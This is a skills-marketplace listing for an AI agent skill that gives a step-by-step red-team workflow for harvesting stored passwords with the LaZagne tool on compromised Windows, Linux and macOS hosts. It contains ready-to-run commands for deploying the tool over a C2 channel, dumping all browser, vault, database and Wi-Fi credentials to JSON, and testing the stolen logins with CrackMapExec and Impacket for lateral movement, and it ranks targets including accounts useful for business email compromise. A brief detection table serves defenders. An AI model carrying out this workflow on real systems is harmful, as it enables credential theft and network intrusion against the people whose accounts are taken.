performing-credential-access-with-lazagne▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.
| name | performing-credential-access-with-lazagne |
| description | Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | - red-team - credential-access - lazagne - post-exploitation - password-recovery - credential-dumping - lateral-movement |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | - File Metadata Consistency Validation - Content Format Conversion - File Content Analysis - Platform Hardening - File Format Verification |
| nist_csf | - ID.RA-01 - GV.OV-02 - DE.AE-07 |
Performing Credential Access with LaZagne
Overview
LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
When to Use
- When conducting security assessments that involve performing credential access with lazagne
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
- Extract credentials from all supported password stores
- Parse and prioritize recovered credentials for lateral movement
- Identify high-value credentials (domain admin, service accounts, cloud access)
- Document credential harvesting results with appropriate evidence handling
- Correlate recovered credentials with BloodHound attack paths
MITRE ATT&CK Mapping
- T1555 - Credentials from Password Stores
- T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 - Credentials from Password Stores: Windows Credential Manager
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1552.002 - Unsecured Credentials: Credentials in Registry
- T1003.004 - OS Credential Dumping: LSA Secrets
- T1539 - Steal Web Session Cookie
Workflow
Phase 1: LaZagne Deployment
- Transfer LaZagne to the compromised host:
# Pre-compiled executable (Windows) # Transfer lazagne.exe via C2 channel or file upload # Python version (requires Python on target) git clone https://github.com/AlessandroZ/LaZagne.git cd LaZagne pip install -r requirements.txt - Verify execution capability and privileges:
# Check current user context whoami /priv # LaZagne works with standard user privileges for user-level stores # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
Phase 2: Full Credential Extraction (Windows)
- Run LaZagne with all modules:
# Extract all credentials lazagne.exe all # Export results to JSON lazagne.exe all -oJ # Export results to specific file lazagne.exe all -oJ -output C:\Temp\creds - Run specific modules for targeted extraction:
# Browsers only (Chrome, Firefox, Edge, Opera, IE) lazagne.exe browsers # Windows credential stores lazagne.exe windows # Database credentials lazagne.exe databases # Email client credentials lazagne.exe mails # Wi-Fi passwords lazagne.exe wifi # Git credentials lazagne.exe git # System credentials (requires elevated privileges) lazagne.exe sysadmin
Phase 3: Credential Extraction (Linux)
- Run LaZagne on Linux targets:
# Full extraction python3 laZagne.py all # Browser credentials python3 laZagne.py browsers # System credentials (SSH keys, shadow file with root) python3 laZagne.py sysadmin # Database credentials python3 laZagne.py databases # Git credentials python3 laZagne.py git
Phase 4: Credential Analysis and Prioritization
- Parse JSON output for unique credentials:
import json with open("creds.json") as f: results = json.load(f) for module in results: for entry in module.get("results", []): print(f"Source: {entry.get('Category')}") print(f" User: {entry.get('Login', 'N/A')}") print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}") - Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation
Phase 5: Credential Validation and Use
- Validate recovered domain credentials:
# Test domain credentials with CrackMapExec crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass' # Test with Impacket smbclient.py domain.local/user:'password'@10.10.10.1 - Cross-reference with BloodHound paths for high-value targets
- Use recovered credentials for lateral movement or privilege escalation
Tools and Resources
| Tool | Purpose | Platform |
|---|---|---|
| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |
| Mimikatz | LSASS/DPAPI credential dumping | Windows |
| SharpChrome | Chrome credential extraction (.NET) | Windows |
| SharpDPAPI | DPAPI credential decryption | Windows |
| CrackMapExec | Credential validation and spraying | Linux |
| Impacket | Remote credential testing | Linux (Python) |
LaZagne Module Coverage (Windows)
| Category | Modules |
|---|---|
| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
| Outlook, Thunderbird, Foxmail | |
| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |
| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
| Windows | Credential Manager, Vault, DPAPI, Autologon |
| WiFi | Stored Wi-Fi passwords |
| Git | Git Credential Store, Git Credential Manager |
| SVN | TortoiseSVN |
| Chat | Pidgin, Skype |
Detection Signatures
| Indicator | Detection Method |
|---|---|
| LaZagne.exe process execution | EDR process monitoring with hash-based detection |
| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |
| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |
| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |
| Mass credential store enumeration | Behavioral analysis for sequential access patterns |
| Python interpreter accessing credential files | Script block logging and file access auditing |
Validation Criteria
- LaZagne deployed on compromised endpoint
- Full credential extraction completed (all modules)
- Credentials exported in JSON format for analysis
- Recovered credentials parsed and deduplicated
- High-value credentials identified and prioritized
- Domain credentials validated against AD
- Lateral movement opportunities identified from recovered creds
- Evidence documented with appropriate handling procedures
How to use performing-credential-access-with-lazagne on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add performing-credential-access-with-lazagne
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches performing-credential-access-with-lazagne from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate performing-credential-access-with-lazagne. Access the skill through slash commands (e.g., /performing-credential-access-with-lazagne) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.5★★★★★65 reviews- ★★★★★Yuki Farah· Dec 28, 2024
Keeps context tight: performing-credential-access-with-lazagne is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Pratham Ware· Dec 24, 2024
performing-credential-access-with-lazagne has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Noor Thomas· Dec 24, 2024
Registry listing for performing-credential-access-with-lazagne matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Emma Robinson· Dec 20, 2024
performing-credential-access-with-lazagne has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Lucas Garcia· Dec 20, 2024
Keeps context tight: performing-credential-access-with-lazagne is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Yuki Khan· Dec 12, 2024
performing-credential-access-with-lazagne reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Ganesh Mohane· Dec 8, 2024
I recommend performing-credential-access-with-lazagne for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Emma Jackson· Nov 27, 2024
I recommend performing-credential-access-with-lazagne for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Sophia Yang· Nov 19, 2024
performing-credential-access-with-lazagne is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Sakshi Patil· Nov 15, 2024
Solid pick for teams standardizing on skills: performing-credential-access-with-lazagne is focused, and the summary matches what you get after install.
showing 1-10 of 65